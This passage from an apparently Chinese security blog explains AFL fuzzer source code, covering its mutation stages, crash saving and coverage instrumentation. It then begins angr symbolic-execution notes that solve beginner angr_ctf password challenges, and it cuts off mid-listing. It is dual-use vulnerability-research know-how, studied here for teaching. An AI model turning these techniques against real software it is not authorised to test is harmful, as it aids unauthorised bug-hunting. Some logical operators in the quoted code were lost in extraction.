orig ^ (orig - j); if (!could_be_bitflip(r)) { stage_cur_val = -j; out_buf[i] = orig - j; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } else stage_max--; out_buf[i] = orig; }}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_ARITH8] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_ARITH8] += stage_max;\n\nINTERESTING VALUES 阶段\ninterest 8/8,每次对8个bit进替换,按照每8个bit的步长从头开始,即对文件的每个byte进行替换\ninterest 16/8,每次对16个bit进替换,按照每8个bit的步长从头开始,即对文件的每个word进行替换\ninterest 32/8,每次对32个bit进替换,按照每8个bit的步长从头开始,即对文件的每个dword进行替换\n而用于替换的 interesting values 是AFL预设的一些比较特殊的数,这些数的定义在config.h文件中:\n\nstatic s8 interesting_8[] = { INTERESTING_8 };static s16 interesting_16[] = { INTERESTING_8, INTERESTING_16 };static s32 interesting_32[] = { INTERESTING_8, INTERESTING_16, INTERESTING_32 };\n\n\n同样,effector map 仍然会用于判断是否需要变异;此外,如果某个interesting value,是可以通过 bitflip 或者 arithmetic 变异达到,那么这样的重复性变异也是会跳过的。\n\n此处给出 interest 8/8 部分代码:\nstage_name = "interest 8/8";stage_short = "int8";stage_cur = 0;stage_max = len * sizeof(interesting_8);stage_val_type = STAGE_VAL_LE;orig_hit_cnt = new_hit_cnt;/* Setting 8-bit integers. */for (i = 0; i < len; i++) { u8 orig = out_buf[i]; /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)]) { stage_max -= sizeof(interesting_8); continue; } stage_cur_byte = i; for (j = 0; j < sizeof(interesting_8); j++) { /* Skip if the value could be a product of bitflips or arithmetics. */ if (could_be_bitflip(orig ^ (u8)interesting_8[j]) could_be_arith(orig, (u8)interesting_8[j], 1)) { stage_max--; continue; } stage_cur_val = interesting_8[j]; out_buf[i] = interesting_8[j]; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; out_buf[i] = orig; stage_cur++; }}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_INTEREST8] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_INTEREST8] += stage_max;\n\nDICTIONARY STUFF 阶段\n通过 -x 选项指定一个词典,如果没有则跳过前两个阶段\nuser extras(over),从头开始,将用户提供的tokens依次替换到原文件中,stage_max为 extras_cnt * len\nuser extras(insert),从头开始,将用户提供的tokens依次插入到原文件中,stage_max为 extras_cnt * len\n如果在之前的分析中提取到了 tokens,则进入 auto extras 阶段\nauto extras(over),从头开始,将自动检测的tokens依次替换到原文件中, stage_max 为MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len\n\n此处给出 auto extras (over) 部分的源代码:\nif (!a_extras_cnt) goto skip_extras;stage_name = "auto extras (over)";stage_short = "ext_AO";stage_cur = 0;stage_max = MIN(a_extras_cnt, USE_AUTO_EXTRAS) * len;stage_val_type = STAGE_VAL_NONE;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len; i++) { u32 last_len = 0; stage_cur_byte = i; for (j = 0; j < MIN(a_extras_cnt, USE_AUTO_EXTRAS); j++) { /* See the comment in the earlier code; extras are sorted by size. */ if (a_extras[j].len > len - i !memcmp(a_extras[j].data, out_buf + i, a_extras[j].len) !memchr(eff_map + EFF_APOS(i), 1, EFF_SPAN_ALEN(i, a_extras[j].len))) { stage_max--; continue; } last_len = a_extras[j].len; memcpy(out_buf + i, a_extras[j].data, last_len); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } /* Restore all the clobbered memory. */ memcpy(out_buf + i, in_buf + i, last_len);}new_hit_cnt = queued_paths + unique_crashes;stage_finds[STAGE_EXTRAS_AO] += new_hit_cnt - orig_hit_cnt;stage_cycles[STAGE_EXTRAS_AO] += stage_max;\n\nRANDOM HAVOC 阶段该部分使用一个巨大的 switch ,通过随机数进行跳转,并在每个分支中使用随机数来完成随机性的行为:\n\n首先指定出变换的此处上限 use_stacking = 1 << (1 + UR(HAVOC_STACK_POW2))\n然后进入循环,生成一个随机数去选择下列中的某一个情况来对样例进行变换\n随机选取某个bit进行翻转\n随机选取某个byte,将其设置为随机的interesting value\n随机选取某个word,并随机选取大、小端序,将其设置为随机的interesting value\n随机选取某个dword,并随机选取大、小端序,将其设置为随机的interesting value\n随机选取某个byte,对其减去一个随机数\n随机选取某个byte,对其加上一个随机数\n随机选取某个word,并随机选取大、小端序,对其减去一个随机数\n随机选取某个word,并随机选取大、小端序,对其加上一个随机数\n随机选取某个dword,并随机选取大、小端序,对其减去一个随机数\n随机选取某个dword,并随机选取大、小端序,对其加上一个随机数\n随机选取某个byte,将其设置为随机数\n随机删除一段bytes\n随机选取一个位置,插入一段随机长度的内容,其中75%的概率是插入原文中随机位置的内容,25%的概率是插入一段随机选取的数\n随机选取一个位置,替换为一段随机长度的内容,其中75%的概率是替换成原文中随机位置的内容,25%的概率是替换成一段随机选取的数\n随机选取一个位置,用随机选取的token(用户提供的或自动生成的)替换\n随机选取一个位置,用随机选取的token(用户提供的或自动生成的)插入\n\n\n然后调用 common_fuzz_stuff 进行测试\n重复上述过程 stage_max 次\n\nfor (stage_cur = 0; stage_cur < stage_max; stage_cur++) { u32 use_stacking = 1 << (1 + UR(HAVOC_STACK_POW2)); stage_cur_val = use_stacking; for (i = 0; i < use_stacking; i++) { switch (UR(15 + ((extras_cnt + a_extras_cnt) ? 2 : 0))) { case 0: /* Flip a single bit somewhere. Spooky! */ FLIP_BIT(out_buf, UR(temp_len << 3)); break; case 1: /* Set byte to interesting value. */ out_buf[UR(temp_len)] = interesting_8[UR(sizeof(interesting_8))]; break; case 2: /* Set word to interesting value, randomly choosing endian. */ if (temp_len < 2) break; if (UR(2)) { *(u16*)(out_buf + UR(temp_len - 1)) = interesting_16[UR(sizeof(interesting_16) >> 1)]; } else { *(u16*)(out_buf + UR(temp_len - 1)) = SWAP16( interesting_16[UR(sizeof(interesting_16) >> 1)]); } break; case 3: /* Set dword to interesting value, randomly choosing endian. */ if (temp_len < 4) break; if (UR(2)) { *(u32*)(out_buf + UR(temp_len - 3)) = interesting_32[UR(sizeof(interesting_32) >> 2)]; } else { *(u32*)(out_buf + UR(temp_len - 3)) = SWAP32( interesting_32[UR(sizeof(interesting_32) >> 2)]); } break; case 4: /* Randomly subtract from byte. */ out_buf[UR(temp_len)] -= 1 + UR(ARITH_MAX); break; case 5: /* Randomly add to byte. */ out_buf[UR(temp_len)] += 1 + UR(ARITH_MAX); break; case 6: /* Randomly subtract from word, random endian. */ if (temp_len < 2) break; if (UR(2)) { u32 pos = UR(temp_len - 1); *(u16*)(out_buf + pos) -= 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 1); u16 num = 1 + UR(ARITH_MAX); *(u16*)(out_buf + pos) = SWAP16(SWAP16(*(u16*)(out_buf + pos)) - num); } break; case 7: /* Randomly add to word, random endian. */ if (temp_len < 2) break; if (UR(2)) { u32 pos = UR(temp_len - 1); *(u16*)(out_buf + pos) += 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 1); u16 num = 1 + UR(ARITH_MAX); *(u16*)(out_buf + pos) = SWAP16(SWAP16(*(u16*)(out_buf + pos)) + num); } break; case 8: /* Randomly subtract from dword, random endian. */ if (temp_len < 4) break; if (UR(2)) { u32 pos = UR(temp_len - 3); *(u32*)(out_buf + pos) -= 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 3); u32 num = 1 + UR(ARITH_MAX); *(u32*)(out_buf + pos) = SWAP32(SWAP32(*(u32*)(out_buf + pos)) - num); } break; case 9: /* Randomly add to dword, random endian. */ if (temp_len < 4) break; if (UR(2)) { u32 pos = UR(temp_len - 3); *(u32*)(out_buf + pos) += 1 + UR(ARITH_MAX); } else { u32 pos = UR(temp_len - 3); u32 num = 1 + UR(ARITH_MAX); *(u32*)(out_buf + pos) = SWAP32(SWAP32(*(u32*)(out_buf + pos)) + num); } break; case 10: /* Just set a random byte to a random value. Because, why not. We use XOR with 1-255 to eliminate the possibility of a no-op. */ out_buf[UR(temp_len)] ^= 1 + UR(255); break; case 11 ... 12: { /* Delete bytes. We're making this a bit more likely than insertion (the next option) in hopes of keeping files reasonably small. */ u32 del_from, del_len; if (temp_len < 2) break; /* Don't delete too much. */ del_len = choose_block_len(temp_len - 1); del_from = UR(temp_len - del_len + 1); memmove(out_buf + del_from, out_buf + del_from + del_len, temp_len - del_from - del_len); temp_len -= del_len; break; } case 13: if (temp_len + HAVOC_BLK_XL < MAX_FILE) { /* Clone bytes (75%) or insert a block of constant bytes (25%). */ u8 actually_clone = UR(4); u32 clone_from, clone_to, clone_len; u8* new_buf; if (actually_clone) { clone_len = choose_block_len(temp_len); clone_from = UR(temp_len - clone_len + 1); } else { clone_len = choose_block_len(HAVOC_BLK_XL); clone_from = 0; } clone_to = UR(temp_len); new_buf = ck_alloc_nozero(temp_len + clone_len); /* Head */ memcpy(new_buf, out_buf, clone_to); /* Inserted part */ if (actually_clone) memcpy(new_buf + clone_to, out_buf + clone_from, clone_len); else memset(new_buf + clone_to, UR(2) ? UR(256) : out_buf[UR(temp_len)], clone_len); /* Tail */ memcpy(new_buf + clone_to + clone_len, out_buf + clone_to, temp_len - clone_to); ck_free(out_buf); out_buf = new_buf; temp_len += clone_len; } break; case 14: { /* Overwrite bytes with a randomly selected chunk (75%) or fixed bytes (25%). */ u32 copy_from, copy_to, copy_len; if (temp_len < 2) break; copy_len = choose_block_len(temp_len - 1); copy_from = UR(temp_len - copy_len + 1); copy_to = UR(temp_len - copy_len + 1); if (UR(4)) { if (copy_from != copy_to) memmove(out_buf + copy_to, out_buf + copy_from, copy_len); } else memset(out_buf + copy_to, UR(2) ? UR(256) : out_buf[UR(temp_len)], copy_len); break; } /* Values 15 and 16 can be selected only if there are any extras present in the dictionaries. */ case 15: { /* Overwrite bytes with an extra. */ if (!extras_cnt (a_extras_cnt && UR(2))) { /* No user-specified extras or odds in our favor. Let's use an auto-detected one. */ u32 use_extra = UR(a_extras_cnt); u32 extra_len = a_extras[use_extra].len; u32 insert_at; if (extra_len > temp_len) break; insert_at = UR(temp_len - extra_len + 1); memcpy(out_buf + insert_at, a_extras[use_extra].data, extra_len); } else { /* No auto extras or odds in our favor. Use the dictionary. */ u32 use_extra = UR(extras_cnt); u32 extra_len = extras[use_extra].len; u32 insert_at; if (extra_len > temp_len) break; insert_at = UR(temp_len - extra_len + 1); memcpy(out_buf + insert_at, extras[use_extra].data, extra_len); } break; } case 16: { u32 use_extra, extra_len, insert_at = UR(temp_len + 1); u8* new_buf; /* Insert an extra. Do the same dice-rolling stuff as for the previous case. */ if (!extras_cnt (a_extras_cnt && UR(2))) { use_extra = UR(a_extras_cnt); extra_len = a_extras[use_extra].len; if (temp_len + extra_len >= MAX_FILE) break; new_buf = ck_alloc_nozero(temp_len + extra_len); /* Head */ memcpy(new_buf, out_buf, insert_at); /* Inserted part */ memcpy(new_buf + insert_at, a_extras[use_extra].data, extra_len); } else { use_extra = UR(extras_cnt); extra_len = extras[use_extra].len; if (temp_len + extra_len >= MAX_FILE) break; new_buf = ck_alloc_nozero(temp_len + extra_len); /* Head */ memcpy(new_buf, out_buf, insert_at); /* Inserted part */ memcpy(new_buf + insert_at, extras[use_extra].data, extra_len); } /* Tail */ memcpy(new_buf + insert_at + extra_len, out_buf + insert_at, temp_len - insert_at); ck_free(out_buf); out_buf = new_buf; temp_len += extra_len; break; } } } if (common_fuzz_stuff(argv, out_buf, temp_len)) goto abandon_entry; /* out_buf might have been mangled a bit, so let's restore it to its original size and shape. */ if (temp_len < len) out_buf = ck_realloc(out_buf, len); temp_len = len; memcpy(out_buf, in_buf, len); /* If we're finding new stuff, let's run for a bit longer, limits permitting. */ if (queued_paths != havoc_queued) { if (perf_score <= HAVOC_MAX_MULT * 100) { stage_max *= 2; perf_score *= 2; } havoc_queued = queued_paths; }}\n\nSPLICING 阶段最后一个阶段,它会随机选择出另外一个输入样例,然后对当前的输入样例和另外一个样例都选择出合适的偏移量,然后从该处将他们拼接起来,然后重新进入到 RANDOM HAVOC 阶段。\n#ifndef IGNORE_FINDS /************ * SPLICING * ************/ /* This is a last-resort strategy triggered by a full round with no findings. It takes the current input file, randomly selects another input, and splices them together at some offset, then relies on the havoc code to mutate that blob. */retry_splicing: if (use_splicing && splice_cycle++ < SPLICE_CYCLES && queued_paths > 1 && queue_cur->len > 1) { struct queue_entry* target; u32 tid, split_at; u8* new_buf; s32 f_diff, l_diff; /* First of all, if we've modified in_buf for havoc, let's clean that up... */ if (in_buf != orig_in) { ck_free(in_buf); in_buf = orig_in; len = queue_cur->len; } /* Pick a random queue entry and seek to it. Don't splice with yourself. */ do { tid = UR(queued_paths); } while (tid == current_entry); splicing_with = tid; target = queue; while (tid >= 100) { target = target->next_100; tid -= 100; } while (tid--) target = target->next; /* Make sure that the target has a reasonable length. */ while (target && (target->len < 2 target == queue_cur)) { target = target->next; splicing_with++; } if (!target) goto retry_splicing; /* Read the testcase into a new buffer. */ fd = open(target->fname, O_RDONLY); if (fd < 0) PFATAL("Unable to open '%s'", target->fname); new_buf = ck_alloc_nozero(target->len); ck_read(fd, new_buf, target->len, target->fname); close(fd); /* Find a suitable splicing location, somewhere between the first and the last differing byte. Bail out if the difference is just a single byte or so. */ locate_diffs(in_buf, new_buf, MIN(len, target->len), &f_diff, &l_diff); if (f_diff < 0 l_diff < 2 f_diff == l_diff) { ck_free(new_buf); goto retry_splicing; } /* Split somewhere between the first and last differing byte. */ split_at = f_diff + UR(l_diff - f_diff); /* Do the thing. */ len = target->len; memcpy(new_buf, in_buf, split_at); in_buf = new_buf; ck_free(out_buf); out_buf = ck_alloc_nozero(len); memcpy(out_buf, in_buf, len); goto havoc_stage; }\n\n结束\n设置 ret_val 的值为 0\n如果 queue_cur 通过了评估,且 was_fuzzed 字段是 0,就设置 queue_cur->was_fuzzed 为 1,然后 pending_not_fuzzed 计数器减一\n如果 queue_cur 是 favored , pending_favored 计数器减一。\n\nsync_fuzzers读取其他 sync 文件夹下的 queue 文件,然后保存到自己的 queue 里。\n\n打开 sync_dir 文件夹\nwhile循环读取该文件夹下的目录和文件 while ((sd_ent = readdir(sd)))\n跳过.开头的文件和 sync_id 即我们自己的输出文件夹\n读取 out_dir/.synced/sd_ent->d_name 文件即 id_fd 里的前4个字节到 min_accept 里,设置 next_min_accept 为 min_accept ,这个值代表之前从这个文件夹里读取到的最后一个queue的id。\n设置 stage_name 为 sprintf(stage_tmp, "sync %u", ++sync_cnt); ,设置 stage_cur 为 0,stage_max 为 0\n循环读取 sync_dir/sd_ent->d_name/queue 文件夹里的目录和文件\n同样跳过 . 开头的文件和标识小于 min_accept 的文件,因为这些文件应该已经被 sync 过了。\n如果标识 syncing_case 大于等于 next_min_accept ,就设置 next_min_accept 为 syncing_case + 1\n开始同步这个 case\n如果 case 大小为 0 或者大于 MAX_FILE (默认是1M),就不进行 sync。\n否则 mmap 这个文件到内存内存里,然后 write_to_testcase(mem, st.st_size) ,并 run_target ,然后通过 save_if_interesting 来决定是否要导入这个文件到自己的 queue 里,如果发现了新的 path,就导入。\n设置 syncing_party 的值为sd_ent->d_name\n如果 save_if_interesting 返回 1,queued_imported 计数器就加 1\n\n\n\n\nstage_cur 计数器加一,如果 stage_cur 是 stats_update_freq 的倍数,就刷新一次展示界面。\n\n\n向id_fd写入当前的 next_min_accept 值\n\n\n\n总结来说,这个函数就是先读取有哪些 fuzzer 文件夹,然后读取其他 fuzzer 文件夹下的 queue 文件夹里的 case,并依次执行,如果发现了新 path,就保存到自己的 queue 文件夹里,而且将最后一个 sync 的 case id 写入到 .synced/其他fuzzer文件夹名 文件里,以避免重复运行。\ncommon_fuzz_stuff因为 fuzz_one 部分过于庞大,而这个函数又不是那么特殊,因此把它拉出来做一个简短的说明。\n\n若有 post_handler ,那么就对样例调用 post_handler\n将样例写入文件,然后 run_target 执行\n如果执行结果是超时则做如下操作:\n\nif (fault == FAULT_TMOUT) { if (subseq_tmouts++ > TMOUT_LIMIT) { cur_skipped_paths++; return 1; }} else subseq_tmouts = 0;\n\n\n如果发现了新路径,那么保存并增加 queued_discovered 计数器\n更新页面 show_stats\n\nEXP_ST u8 common_fuzz_stuff(char** argv, u8* out_buf, u32 len) { u8 fault; if (post_handler) { out_buf = post_handler(out_buf, &len); if (!out_buf !len) return 0; } write_to_testcase(out_buf, len); fault = run_target(argv, exec_tmout); if (stop_soon) return 1; if (fault == FAULT_TMOUT) { if (subseq_tmouts++ > TMOUT_LIMIT) { cur_skipped_paths++; return 1; } } else subseq_tmouts = 0; /* Users can hit us with SIGUSR1 to request the current input to be abandoned. */ if (skip_requested) { skip_requested = 0; cur_skipped_paths++; return 1; } /* This handles FAULT_ERROR for us: */ queued_discovered += save_if_interesting(argv, out_buf, len, fault); if (!(stage_cur % stats_update_freq) stage_cur + 1 == stage_max) show_stats(); return 0;}\n\nsave_if_interesting执行结果是否发现了新路径,决定是否保存或跳过。如果保存了这个 case,则返回 1,否则返回 0。\n\n如果没有新的路径发现或者路径命中次数相同,就直接返回0\n将 case 保存到 fn = alloc_printf("%s/queue/id:%06u,%s", out_dir, queued_paths, describe_op(hnb)) 文件里\n将新样本加入队列 add_to_queue\n如果 hnb 的值是2,代表发现了新路径,设置刚刚加入到队列里的 queue 的 has_new_cov 字段为 1,即 queue_top->has_new_cov = 1 ,然后 queued_with_cov 计数器加一\n保存hash到其exec_cksum\n评估这个queue,calibrate_case(argv, queue_top, mem, queue_cycle - 1, 0)\n根据fault结果进入不同的分支\n若是出现错误,则直接抛出异常\n若是崩溃\ntotal_crashes计数器加一\n如果unique_crashes大于能保存的最大数量KEEP_UNIQUE_CRASH即5000,就直接返回keeping的值\n如果不是dumb mode,就simplify_trace((u64 *) trace_bits)进行规整\n没有发现新的crash路径,就直接返回\n否则,代表发现了新的crash路径,unique_crashes计数器加一,并将结果保存到alloc_printf("%s/crashes/id:%06llu,sig:%02u,%s", out_dir,unique_crashes, kill_signal, describe_op(0))文件。\n更新last_crash_time和last_crash_execs\n\n\n若是超时\ntotal_tmouts 计数器加一\n如果 unique_hangs 的个数超过能保存的最大数量 KEEP_UNIQUE_HANG 则返回\n若不是 dumb mode,就 simplify_trace((u64 *) trace_bits) 进行规整。\n没有发现新的超时路径,就直接返回\n否则,代表发现了新的超时路径,unique_tmouts 计数器加一\n若 hang_tmout 大于 exec_tmout ,则以 hang_tmout 为timeout,重新执行一次 runt_target\n若出现崩溃,就跳转到 keep_as_crash\n若没有超时则直接返回\n否则就使 unique_hangs 计数器加一,更新 last_hang_time 的值,并保存到alloc_printf("%s/hangs/id:%06llu,%s", out_dir, unique_hangs, describe_op(0))文件。\n\n\n\n\n若是其他情况,则直接返回\n\n\n\n插桩与路径发现的记录其实插桩已经叙述过一部分了,在上文中的 fork server 部分,笔者就介绍过该机制就是通过插桩实现的。\n但还有一部分内容没有涉及,新路径是如何在发现的同时被通知给 fuzzer 的?\n在插桩阶段,我们为每个分支跳转都添加了一小段代码,这里笔者以 64 位的情况进行说明:\nstatic const u8* trampoline_fmt_64 = "\\n" "/* --- AFL TRAMPOLINE (64-BIT) --- */\\n" "\\n" ".align 4\\n" "\\n" "leaq -(128+24)(%%rsp), %%rsp\\n" "movq %%rdx, 0(%%rsp)\\n" "movq %%rcx, 8(%%rsp)\\n" "movq %%rax, 16(%%rsp)\\n" "movq $0x%08x, %%rcx\\n" "call __afl_maybe_log\\n" "movq 16(%%rsp), %%rax\\n" "movq 8(%%rsp), %%rcx\\n" "movq 0(%%rsp), %%rdx\\n" "leaq (128+24)(%%rsp), %%rsp\\n" "\\n" "/* --- END --- */\\n" "\\n";\n\n它首先保存了一部分将要被破坏的寄存器,然后调用了 __afl_maybe_log 来记录路径的发现。该函数同样是由汇编编写的,但我们可以用一些其他工具来反编译它:\nchar __fastcall _afl_maybe_log(__int64 a1, __int64 a2, __int64 a3, __int64 a4){ char v4; // of char v5; // al __int64 v6; // rdx __int64 v7; // rcx char *v9; // rax int v10; // eax void *v11; // rax int v12; // edi __int64 v13; // rax __int64 v14; // rax __int64 v15; // [rsp-10h] [rbp-180h] char v16; // [rsp+10h] [rbp-160h] __int64 v17; // [rsp+18h] [rbp-158h] v5 = v4; v6 = _afl_area_ptr; if ( !_afl_area_ptr ) { if ( _afl_setup_failure ) return v5 + 127; v6 = _afl_global_area_ptr; if ( _afl_global_area_ptr ) { _afl_area_ptr = _afl_global_area_ptr; } else { v16 = v4; v17 = a4; v9 = getenv("__AFL_SHM_ID"); if ( !v9 (v10 = atoi(v9), v11 = shmat(v10, 0LL, 0), v11 == -1LL) ) { ++_afl_setup_failure; v5 = v16; return v5 + 127; } _afl_area_ptr = v11; _afl_global_area_ptr = v11; v15 = v11; if ( write(199, &_afl_temp, 4uLL) == 4 ) { while ( 1 ) { v12 = 198; if ( read(198, &_afl_temp, 4uLL) != 4 ) break; LODWORD(v13) = fork(); if ( v13 < 0 ) break; if ( !v13 ) goto __afl_fork_resume; _afl_fork_pid = v13; write(199, &_afl_fork_pid, 4uLL); v12 = _afl_fork_pid; LODWORD(v14) = waitpid(_afl_fork_pid, &_afl_temp, 0); if ( v14 <= 0 ) break; write(199, &_afl_temp, 4uLL); } _exit(v12); }__afl_fork_resume: close(198); close(199); v6 = v15; v5 = v16; a4 = v17; } } v7 = _afl_prev_loc ^ a4; _afl_prev_loc ^= v7; _afl_prev_loc = _afl_prev_loc >> 1; ++*(v6 + v7); return v5 + 127;}\n\n前面的一大段代码其实都是为了去建立我们在上文所说的“共享内存”,在完成初始化后调用最后这么一小段代码进行记录:\nv7 = _afl_prev_loc ^ a4;_afl_prev_loc ^= v7;_afl_prev_loc = _afl_prev_loc >> 1;++*(v6 + v7);\n\n此处 v6 即为共享内存的地址,而 a4 为 cur_location ,因此 v7=cur_location ^ prev_location ,它将作为索引,使得共享内存中的对应偏移处的值增加。而在 fuzzer 部分就可以通过检查这块内存来发现是否有新路径被得到了。\n另外,_afl_prev_loc = _afl_prev_loc >> 1; 的目的是为了避开 A->A 和 B->B 以及 A->B 和 B->A 被识别为相同路径的情况。\n其他阅读材料\nsakuraのAFL源码全注释https://eternalsakura13.com/2020/08/23/afl/\nfuzzer AFL 源码分析https://tttang.com/user/f1tao\nAFL二三事——源码分析https://paper.seebug.org/1732/#afl-afl-asc\nAFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzinghttps://paper.seebug.org/841/\n\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘","AFL","模糊测试"]},{"title":"Angr 使用技巧速通笔记(二)","url":"/2023/04/16/angr-%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7%E9%80%9F%E9%80%9A%E7%AC%94%E8%AE%B0%E4%BA%8C/","content":"前言第一章的时候大概讲了 Angr 的一些基本概念和使用,我思量着应该要弄点实际的东西来练练才能把这个工具用熟捻。\n最经典的使用案例无疑是 angr_ctf 中的那些了:\n\nhttps://github.com/jakespringer/angr_ctf\n\n题目本身都不是很难,甚至大多都是能靠人力完成的工作。但是即便如此,自动化也有自动化的意义对不对。毕竟我们现在需要的不是马上就能用它解决各种难题,而是把简单的问题解决,然后才能开始做复杂问题。\n\n附件使用的是 https://github.com/ZERO-A-ONE/AngrCTF\\_FITM 仓库下编译好的版本。因为原仓库下只有源代码,而且编译还需要另外去配环境,所以这里直接用了这位师傅编译好的附件。\n\n实战一般的基本流程如下:\n\n创建项目:angr.Project(“./binary”)\n创建 state:project.factory.entry_state()\n创建 SM:project.factory.simgr(state)\n探索路径:sim.explore(find=addr)\n给出结果:sim.found\n\n00_angr_find当然还是得从最简单的开始,题目本身是一个直接用 IDA 读就能读明白的简单程序,但出于练习目的,还是得手写一下脚本。\nint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+1Ch] [ebp-1Ch] char v5[9]; // [esp+23h] [ebp-15h] BYREF unsigned int v6; // [esp+2Ch] [ebp-Ch] v6 = __readgsdword(0x14u); printf("Enter the password: "); __isoc99_scanf("%8s", v5); for ( i = 0; i <= 7; ++i ) v5[i] = complex_function(v5[i], i); if ( !strcmp(v5, "JACEJGCS") ) puts("Good Job."); else puts("Try again."); return 0;}\n\n首先需要创建项目:\nimport angrproject=angr.Project("./00_angr_find",auto_load_libs=False)\n\n创建 state:\nstate=project.factory.entry_state()\n\n创建 SM:\nsim=project.factory.simgr(state)\n\n搜索路径:\n探索路径时需要给出需要查找到的路径地址,这里我们通过 IDA 可以确定程序输出 “Good Job.” 时的地址为 0x08048675\nsim.explore(find=0x08048675)\n\n求解结果:\nif sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)\n\n简单说明一下代码。\n\nsim.found[0] 代表了探索路径时得到的一条可解的路径。\nres.posix.dumps(0) 表示去获取对应路径中,stdin 的内容。\n\n01_angr_avoid程序本身很大,IDA 虽然也有办法反编译,但是速度极慢,但用 Angr 设定好参数就很快了。\n前几个步骤是一样的:\nimport angrproject=angr.Project("./01_angr_avoid",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n我们不妨试试,如果按照上一题的做法会如何:\nsim.explore(find=0x080485E0)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)\n\n结果会发现等了很久也没有算出结果,因为分支实在太多了。\n因此要对代码做一点改进:\n#080485E0 push offset aGoodJob ; "Good Job."# .text:080485A8 push ebp# .text:080485A9 mov ebp, esp# .text:080485AB mov should_succeed, 0# .text:080485B2 nop# .text:080485B3 pop ebp# .text:080485B4 retnsim.explore(find=0x080485E0,avoid=0x080485A8)\n\n其实只是给 explore 增加了一个 avoid 的参数。当代码模拟执行遇到了该地址时,将会把这段路径放入到 avoided 的一个列表中,用来表示被避开的路径,然后其他照旧,继续执行。\n之所以通过添加这样的操作就能够得到答案,其实很简单,是为了避免路径爆炸而必要的。\n我们可以用这么一个二插树来表示路径:\n\n我们用 1 来表示正确的路径,0 表示错误的路径。可以看见,在这个树中一共有 8 条不同的路径,而正确的路径只有一个。\n假设所有涉及到 0 的路径都会进入到某个地址 x 处。那么如果没有使用 avoid 参数,Angr 就会遍历这 8 条路径,然后求解出最左的那条路径所需的输入。\n而如果我们添加了 avoid=x ,那么当 Angr 从根节点进入到右子树时,由于接下来立刻进入到 x 地址处,因此停止分析这条路径,将其加入到 avoided 中,从而将下面的 4 条路径全都舍弃,将所需的时间直接减少了一半。\n同理,当它进入左子树时,仍然存在分叉,而进入右子树的分叉会因为相同的原因被舍弃,从而再次减少一半的时间。\n在路径极其庞大的情况下,比如说 2^31 条路径,通过这种方法能够极大程度降低消耗。\n02_angr_find_conditionint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+18h] [ebp-40h] int j; // [esp+1Ch] [ebp-3Ch] char v6[20]; // [esp+24h] [ebp-34h] BYREF char v7[20]; // [esp+38h] [ebp-20h] BYREF unsigned int v8; // [esp+4Ch] [ebp-Ch] v8 = __readgsdword(0x14u); for ( i = 0; i <= 19; ++i ) v7[i] = 0; qmemcpy(v7, "VXRRJEUR", 8); printf("Enter the password: "); __isoc99_scanf("%8s", v6); for ( j = 0; j <= 7; ++j ) v6[j] = complex_function(v6[j], j + 8); if ( !strcmp(v6, v7) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n还是这个模板:\nimport angrproject=angr.Project("./02_angr_find_condition",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n这题的情况和 00_angr_find 有些不太一样。尽管 IDA 将它们反编译后的结果看起来很像,但是在汇编中却有很大差别:\n\n可以看见,这行输出在 main 函数里到处都是,所以其实很难找到真正的那条路径的地址。\n同理的,“Try again.” 也一样,因此需要修改 find 参数:\ndef succ(state): res=state.posix.dumps(1) if b"Good Job." in res: return True else: return Falsesim.explore(find=succ)\n\n可以发现,find 参数除了能是一个具体的地址外,还可以是一个函数。该函数返回 True 时会将路径记录下来,返回 False 时则表示路径并非我们想找的。\n而区别路径的关键在于 state.posix.dumps(1) ,通过该方法,可以将 stdout 中的内容 dump 出来进行比较。如果输出包含了 Good Job. ,我们就认为是想要的路径。这样就能避开直接使用地址了。\n当然了,avoid 也可以这么用,读者可以自行试试。\n03_angr_simbolic_registersint __cdecl main(int argc, const char **argv, const char **envp){ int v3; // ebx int v4; // eax int v5; // edx int v6; // ST1C_4 unsigned int v7; // ST14_4 unsigned int v9; // [esp+8h] [ebp-10h] unsigned int v10; // [esp+Ch] [ebp-Ch] printf("Enter the password: "); v4 = get_user_input(); v6 = v5; v7 = complex_function_1(v4); v9 = complex_function_2(v3); v10 = complex_function_3(v6); if ( v7 v9 v10 ) puts("Try again."); else puts("Good Job."); return 0;}\n\n还是老三样:\nimport angrproject=angr.Project("./03_angr_symbolic_registers",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)\n\n有些特殊的地方是,输入使用 get_user_input ,而该函数如下:\nint get_user_input(){ int v1; // [esp+0h] [ebp-18h] int v2; // [esp+4h] [ebp-14h] int v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); __isoc99_scanf("%x %x %x", &v1, &v2, &v3); return v1;}\n\n前文曾提到过,Angr 对 scanf 这类使用格式化字符串的函数支持并不是很好,不过或许是最近的版本更新,直接这样写也同样能得到结果了:\nsim.explore(find=0x80489E9)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)# b'b9ffd04e ccf63fe8 8fd4d959'else: print("No")\n\n不过既然是学习,还是照例看看最标准的写法应该是什么吧。\n根据汇编可以看到,该函数的实际操作是将值储存在寄存器中:\n.text:0804891E lea ecx, [ebp+var_10].text:08048921 push ecx.text:08048922 lea ecx, [ebp+var_14].text:08048925 push ecx.text:08048926 lea ecx, 